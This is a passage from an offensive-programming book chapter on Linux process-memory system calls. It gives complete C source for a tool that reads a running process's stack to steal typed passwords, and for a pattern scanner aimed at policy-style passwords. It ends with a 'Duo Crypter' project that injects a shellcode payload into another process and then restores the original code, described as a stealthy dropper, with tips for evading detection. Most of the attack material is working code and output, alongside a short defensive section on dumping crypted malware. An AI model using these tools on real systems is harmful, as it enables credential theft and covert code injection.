Let's continue this chapter with a brief description of how memory credential stealing tools work and how to code them. Finally, let's wrap up the channel with a simple final project the Duo-Crypter
Data Dumping: Credential Theft
A variation of this game hacking technique is memory credential theft. The concept is the same, but in many cases, instead of looking for differences between different dumps, the program just looks for a pattern like a printable string (a password is something you have to be able to type) or a 16-character-long string containing lowercase and uppercase letters, at least a number, and a special character. Yes, those absurd constraints to enter a password and make user’s life miserable makes really easy to retrieve passwords from memory. So, for illustration purposes as we did with the game, let’s write a simple password-protected program and then let’s steal some user credentials.
This is the program:
#include <stdio.h>
#include <string.h>
int pass_good (char *buf) {
if (buf[0] == 's' && buf[1] == 'e' && buf[2] == 'c' && buf[3] == 'r' &&
buf[4] == 'e' && buf[5] == 't') return 1;
return 0;
}
int main () {
char buf[1024];
printf ("Super Secret System (S3)\n");
printf ("(c) Pico\n\n");
printf ("Passwd: ");
fgets (buf, 1024, stdin);
if (pass_good (buf)) {
printf ("Access Granted\nPress any key to continue...\n");
getchar();
} else {
printf ("Access Denied\nPress any key to continue...\n");
getchar();
}
}Yes, it is pretty simple, but it won’t show the password with a
simple strings. I just add a getchar to
simulate that the user is actually logged in doing stuff. Now, I’ll
slightly modify our dump tool just to print any difference between
executions as binary data. You’ll see in a sec why. The dumper will now
look like:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
int print_bin (uint8_t *addr, uint8_t *new, uint8_t *old, ssize_t len) {
int flag = 0;
for (int i = 0; i < len; i++) {
if (new[i] != old[i]) {
if (flag == 0) {write (1, "\0", 1); flag = 1;}
write (1, new+i, 1);
} else flag = 0;
}
printf ("\n");
}
int main (int argc, char *argv[]) {
pid_t pid = atoi(argv[1]);
uint64_t addr = atol(argv[2]);
ssize_t size = atol(argv[3]);
struct iovec local1[1], remote[1];
local1[0].iov_base = malloc (size);
local1[0].iov_len = size;
remote[0].iov_base = (void*)addr;
remote[0].iov_len = size;
uint8_t *p, *old = malloc (size);
process_vm_readv(pid, local1,1, remote,1,0);
memcpy (old, local1[0].iov_base, size);
while (1) {
process_vm_readv(pid, local1,1, remote,1,0);
print_bin ((uint8_t*)addr, local1[0].iov_base, old, size);
memcpy (old, local1[0].iov_base, size);
printf ("Press any key....\n");
getchar ();
}
return 0;
}Same code than before but, as I said, printing the differences in binary. Now you can start the program in one console and extract the PID and the memory map in another one. For a specific execution in my system I’ve got the following memory map:
$ cat /proc/3705435/maps
559e7cbad000-559e7cbae000 r--p 00000000 fd:01 49676421 /opt/syscalls/process_vm/pass
559e7cbae000-559e7cbaf000 r-xp 00001000 fd:01 49676421 /opt/syscalls/process_vm/pass
559e7cbaf000-559e7cbb0000 r--p 00002000 fd:01 49676421 /opt/syscalls/process_vm/pass
559e7cbb0000-559e7cbb1000 r--p 00002000 fd:01 49676421 /opt/syscalls/process_vm/pass
559e7cbb1000-559e7cbb2000 rw-p 00003000 fd:01 49676421 /opt/syscalls/process_vm/pass
559eb77b8000-559eb77d9000 rw-p 00000000 00:00 0 [heap]
__--snip--__
7fc61480e000-7fc61480f000 rw-p 00000000 00:00 0
7fffd0a02000-7fffd0a23000 rw-p 00000000 00:00 0 [stack]
This time, the memory block we’re interested in is the stack. Why? Take a look at the code: the program just reads the user’s password into a local variable that gets stored on the stack. So, now we have all the elements to run our dumper:
$ ./dump3 3705435 $((0x7fffd0a02000)) $((0x30000)) | strings
Note that, for this example, you have to run the dumper once the program was started but before the user enters their password. This makes things a bit different, as we can get rid of a lot of data in the stack that is not important. You can do the same with a single dump, supposing you have a pattern to check your string against or some other kind of heuristics you could use. We’ll see this case in a second.
Now, you can enter the password in the program and press Enter in the
dumper to see the just-typed password in plain text. Note that, as the
stack grows downwards, I’ve used a pretty big size value, as most of the
initial data is zero. You can create your own stack dumper that just
gets the end of the stack segment and dumps it backwards (do you
remember /proc/pid/syscall?). Also, note that we’re forcing
a \0 whenever a new string is found to ensure that
strings gets the strings with the right size.
You may think that this example isn’t that realistic, especially because of the timing. You need to run the program before and after the user entered the password, and you are right. So, let’s go for one of those corporate policy passwords—those that are reported as super secure with a green check mark: 16 characters long, upper and lowercase letters and at least one number and one special character, for example:
lB0?FSysCa#s1_sC0o!
That looks like a pretty secure password. Actually, for a dictionary attack, it’s kind of good, but for finding it in memory, it’s a pretty bad thing. Well, to be correct, the password policy is a pretty bad thing, not the password itself. Let’s write a specific dumping program that we just need to run once and let’s see what it finds. A possible implementation could be this. Maybe not the most elegant in the world, but it works.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
char *valid_chars = "!@#$%^&*(){}[]-_?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
int main (int argc, char *argv[]) {
pid_t pid = atoi(argv[1]);
uint64_t addr = atol(argv[2]);
ssize_t size = atol(argv[3]);
struct iovec local1[1], remote[1];
char buf[1024];
// Copy remote memory
local1[0].iov_base = malloc (size);
local1[0].iov_len = size;
remote[0].iov_base = (void*)addr;
remote[0].iov_len = size;
process_vm_readv(pid, local1,1, remote,1,0);
int k, cnt = 0;
uint8_t *p = local1[0].iov_base;
uint8_t *q = NULL;
uint8_t f[3] = {0};
char *r;
for (int i = 0; i < size; i++, p++) {
if (*p && (r = strchr(valid_chars, *p))) {
cnt++;
k = r - valid_chars;
if (cnt > 15) f[0] = 1;
if (k > 69) f[1] = 1;
if (k <= 16) f[2] = 1;
if (!q) q = p;
} else {
if (f[0] + f[1] + f[2] == 3) {
write (1, q, cnt);
printf ("\n");
}
f[0] = f[1] = f[2] = 0;
cnt = 0;
q = NULL;
}
}
return 0;
}The program creates a flag array f. Each flag in the
array will be checked and set if any of the conditions is met: password
length, lower/upper case, number, special char, etc. The more conditions
met, the easier it is to find the password.
Now we can run this program against a modified version of our original password-protected system after the user has entered the password, and we get something like this:
$ ./dump4 3732621 $((0x7fff2e77e000)) $((0x30000))
lB0?FSysCa#s1_sC0o!
ssh-fPB7DCwoSstN
XTERM_256_COLORS
The last two strings are part of environmental variables or values that, by chance, match the criteria but can be easily filtered. Actually, you can try to skip them, as they are placed at the very top of the stack, which is part of the process of executing a binary. We’ll see this in detail in a later chapter.
We’ve just scratched the surface. This same technique can be used to
look for specific data structures in system memory and extract
credentials or hashes for different services, which expands the
possibilities of a privilege escalation. This is roughly what tools like
volatility or mimikatz do. Overall, this kind
of attacks are less and less common nowadays. Secure applications
usually take good care of passwords, deleting them from memory as soon
as they aren’t needed or hashing/encrypting them so the extraction isn’t
that easy. However, if you know that the application keeps the secrets
in memory, process_vm_readv is the way to go and get those
secrets out.
Data Dumping: Crypter Analysis
Another use of process_vm_readv is dumping encrypted
programs or, in general, self-modifying code. In case you don’t know, a
crypter is a program that can encrypt the code of any binary and modify
it so it can still be executable. Without going into the details, the
crypter injects a small piece of code in the binary (in this sense it
behaves like a virus) that is the first code executed by the program.
That code just decrypts the rest of the program so it can be executed.
More sophisticated solutions exist where not all code is decrypted at
the beginning or at once. There are many different possibilities.
Statically analyzing crypters may be a pain, but many times doing it dynamically makes things much easier because, no matter what, eventually, the code has to be decrypted in memory to be executed. You just wait until that moment and then you can see the code, even if you don’t have a clue on how the encryption algorithm works. So, in general, the easiest way to get the decrypted code of a crypted binary is to let the program run and dump the memory once the code is ready to be executed.
You usually do this inside a debugger or a more sophisticated tool with debugging capabilities (now you know how to write a rudimentary debugger yourself), so you can interactively reach a point where the code is decrypted and then use some function of the tool to dump that memory so you can do some static analysis on the plain text code.
But now let’s depict a potential scenario—something that I believe is kind of realistic. Let’s say you need to analyze a crypted malware targeting some RISC-V IoT device. You cannot run Ghidra or Binary Ninja on the device to quickly get to the point where the code is decrypted and ready to run. You cannot easily emulate such a device. So your better chance is to statically analyze the code, figure out the encryption and key so you can extract the crypted payload inside the file.
Well, you can actually write a very small program that will easily
fit in the device memory (even if it’s very limited) that dumps the
memory using process_vm_readv. Furthermore, the programs we
have written so far basically use two syscalls,
process_vm_readv/process_vm_writev and
write, so you could easily write an ASM version of this
tool that will take a few hundred bytes in case the device is really
limited.
You already know how to write such a program so I won’t duplicate the code here again, but I hope you see the point and the power of being able to use your own tools when needed. For writing the ASM version, check Heavy Wizardry 101 to figure it out.
PROJECT: Duo Crypters (Muninn and Huginn)
process_vm_readv and process_vm_writev can
be used for sharing memory between processes. Effectively, any process
could write or read any other process’s memory. You can implement this
in many different ways, but a possibility would be this:
- A process allocates a memory block that will be used for information interchange.
- The memory address for that block needs to be shared. You have
multiple options here:
- Allocate the memory at a fixed memory address.
- Let the other processes figure it out by looking at the process memory map.
- Give the information to the other processes using any IPC mechanism, which may include, for example, just saving the address in a file with a predefined name.
- From that point on, processes will write to that memory using
process_vm_writevand can read that memory usingprocess_vm_readv. Depending on the application, you may need to use some synchronization mechanism to ensure the integrity of the data.
So, let’s twist the scenario a bit to create an example that we’ll all like much more. Let’s introduce the Duo Crypter. The name is pretty cool, but I have to say that I’m just making it up as I write this. The Duo Crypter is composed of two programs we could name Robin and Batman. Batman is the one doing the stuff, and Robin is supporting it. Now that I think about it, the first program should be called Alfred. Let’s rename it… I mean, it doesn’t matter; you could call it Jarvis and Tony or Romeo and Juliet—whatever matches your personal taste. Actually, I think I’ll go with Huginn and Muninn. Sorry about this digression. I’m back. Let’s see how this works.
- Muninn will be in charge of delivering the payload to Huginn. Ideally, the payload should be encrypted, but for our example, we’ll just keep it in plain text to keep the code simple and short.
- Huginn will be executing the payload. Whenever it decides that the payload needs to be executed, it will signal Muninn to get the code and run it.
Basically, Huginn is a regular program that eventually sends
a signal so another process (Muninn) will update one of its
functions. The former program will continue its execution normally, but
now, when the patched function is invoked, some other code will be
executed. For the test, I’ll keep it simple and will just add a few
sleeps here and there just for illustration purposes.
Let’s start looking at the main function of Huginn. This
is a bit longer, as it includes child and parent code needed for tracing
itself, so let’s see each (child and parent) separately.
int main (int argc, char *argv[]) {
pid_t muninn = atol(argv[1]);
pid_t huginn;
printf ("Muninn : %ld\n", muninn);
printf ("Huginn : %ld\n", huginn);
payload ();
mprotect ((void*)((uint64_t)payload & ~(4095)), 4096, PROT_WRITE | PROT_READ | PROT_EXEC);
getchar ();
__--snip--__The program receives one single parameter that is the PID of Muninn
so Huginn can signal it when the time is right. Then, we run the
function payload to show the program just runs normally.
After that, we change the permissions for the page containing the
function so process_vm_writev can write on it. This is
indeed a red flag, and we can look for ways around it, but the goal here
is to describe the technique, which won’t change. Note that if we use
/proc/PID/mem in Muninn, it will look suspicious,
but Huginn will just be a regular program.
Finally, we’ll wait for the user to press a key. When that happens, the update process will be fired.
Once the user presses a key, we’ll signal Muninn. Wait for a
second to make sure it has patched payload. Then run
payload so we can verify the new code is executed. Then
wait 2 more seconds to let Muninn inject the original code back
and finally run again payload and see that the code is
restored. This is the code:
union sigval val;
val.sival_ptr = (void *)payload;
sigqueue(muninn, SIGUSR1, val);
printf ("Muninn signaled. Waiting for update\n");
sleep (1);
printf ("Patched. Huginn continunuing\n");
payload ();
sleep (2);
payload ();
return 0;As I said, this is basically a set of printf,
getchar, and sleep. Except for the three first
lines that allow us to send a signal to another process but attaching a
word of information to it. In this case, we are sending the local
pointer to the function we want Muninn to patch.
The payload function can be anything. We just need to
make sure that it is big enough to accommodate the payload we want to
write in. We can easily do that with some inlined assembly:
void payload1 () {
printf ("Payload\n");
asm volatile (
"pop %rbp\nret\n"
".rept 2048\n"
"nop\n"
".endr\n"
);
}This creates a function that prints the string Payload
to the screen and returns, but the compiler is instructed to add 2048
NOPs after the ret instruction, so we have
enough room to write up to 2KB of code. Note that there will be a
pop %rbp; ret after the 2048 NOPs, but I think
it’s better to make the function end just after the real code instead of
after a massive NOP sled.
Let’s now take a look at muninn:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
#include <signal.h>
#include <errno.h>
unsigned char evil_bin[] = {
0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x35, 0x08, 0x00, 0x00, 0x00, 0xba, 0x10, 0x00, 0x00, 0x00, 0x0f, 0x05,
0xc3, 0x45, 0x76, 0x69, 0x6c, 0x20, 0x43, 0x6f, 0x64, 0x65, 0x20, 0x68,
0x65, 0x72, 0x65, 0x21, 0x0a
};
unsigned int evil_bin_len = 41;
int main(int argc, char *argv[])
{
struct sigaction sa = {0};
sa.sa_sigaction = handler;
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
sigaction(SIGUSR1, &sa, NULL);
printf ("PID: %ld\n", getpid());
while (1) getchar ();
}Let’s first look at main. It just installs a signal
handler for SIGUSR1 (that’s the signal Huginn will
use) and prints its PID. Then it just stays running in an infinite loop.
All the interesting stuff happens in the signal handler:
void handler(int sig, siginfo_t *info, void *ucontext)
{
struct iovec local1[1], local2[1], remote[1];
printf ("----------------------\n");
printf("Signal %d from PID %d\n", sig, info->si_pid);
printf("value=%p\n", info->si_value.sival_ptr);
printf ("Backing up original code\n");
local1[0].iov_base = malloc(evil_bin_len);
local1[0].iov_len = evil_bin_len;
remote[0].iov_base = info->si_value.sival_ptr;
remote[0].iov_len = evil_bin_len;
process_vm_readv (info->si_pid, local1, 1, remote,1,0);
printf ("Patching Process %ld at %p\n", info->si_pid, info->si_value.sival_ptr);
local2[0].iov_base = evil_bin;
local2[0].iov_len = evil_bin_len;
process_vm_writev (info->si_pid, local2,1, remote,1,0);
sleep (1);
printf ("Restoring original code\n");
process_vm_writev (info->si_pid, local1,1, remote,1,0);
free (local1[0].iov_base);
}When a SIGUSR1 is received, the signal handler gets the
PID of the process sending the signal in info->si_pid
and whatever value that process included in the signal within
info->si_value, which, for our example, is the pointer
to the payload function in Huginn. With that
information, we just:
- Read the current
payloadcode from Huginn. - Write the evil payload into Huginn.
- Wait for a second, and then write back the original code.
As I said at the beginning, I just used sleep for
simplicity. You may want to use another signal or some other
synchronization mechanism to coordinate the writing and restoring of the
code.
Now, you can run Muninn in a console.
$ ./muninn
PID: 2765988
In another console, we can run Huginn:
$ ./huginn 2765988
Muninn : 2765988
Huginn : 1086157360
Payload1
We can see how the first time Huginn calls
payload, the program just prints Payload.
Then, if we press Enter to let the program continue its execution, the
patching process is fired up. First, Huginn signals
Muninn, which will show something like:
-------------------------
Signal 10 from PID 2766053
value=0x555ceb386199
Backing up original code
Patching Process 2766053 at 0x555ceb386199
Restoring original code
In the Huginn console we’ll see:
Muninn signaled. Waiting for update
Patched. Huginn continunuing
Evil Code here!
Payload1
TECHNIQUE: Duo Crypter
Code injection/Local Dropper
Using
process_vm_readvandprocess_vm_writev, a process with the right permissions can read an existing function in a running process, substitute it with an alternative version (that ideally should be encrypted in memory), let the original program run it, and then restore the original code. The process running the malware doesn’t include any malware code in it, before or after the execution of it. The malware code is in a different process that can be run and deleted immediately.
After signaling Muninn, we run payload but now
the evil code is run. Then, after waiting a while and letting
Muninn restore the original code, the initial message is shown
again.
Let’s now discuss for a sec why this is interesting. The first point
is that this approach uses two programs to perform a certain task, and
both of them don’t include any identified malware (whenever you update
the code to keep the payload encrypted). The function that will actually
run the payload is just (initially) a printf and the final
code to be executed can only be dumped from memory or by statically
analyzing Muninn. If we update the system to clean up the memory after
being executed, it may be tricky to get the code in the wild. We’ve
built a crypter that decrypts the code in a different process so the
process running the malware doesn’t really have any malware code in
it.
On the other hand, the use mprotect is indeed
suspicious, and the best way to try to hide then is doing some syscall
obfuscation and trying to detect if the program is being monitored and
just not run them. Summing up, the system as it was described here is
not that useful, however, the important thing to take from this chapter
is what can be done. In real life, attackers mix up multiple different
techniques to try to avoid detection, so the more techniques you know,
the more stealth your code will be or the easiest to detect stealth code
will be for you.
SUMMARY
In this chapter, we learned to use process_vm_readv and
process_vm_writev as well as /dev/pid/mem as
alternatives to ptrace to read and write process memory.
However, as we’ve seen, many techniques require the combination of both
system calls, and you may have noticed how they complement each other.
We have seen different ways to inject code in running processes and also
applications of memory dumping like game hacking or credentials
stealing. Finally, we’ve wrote a small project abusing what we’ve
learned to make a process inject a payload directly into another’s
process memory and get it executed—a kind of local dropper.
Get the code at https://github.com/0x00pf/lbofs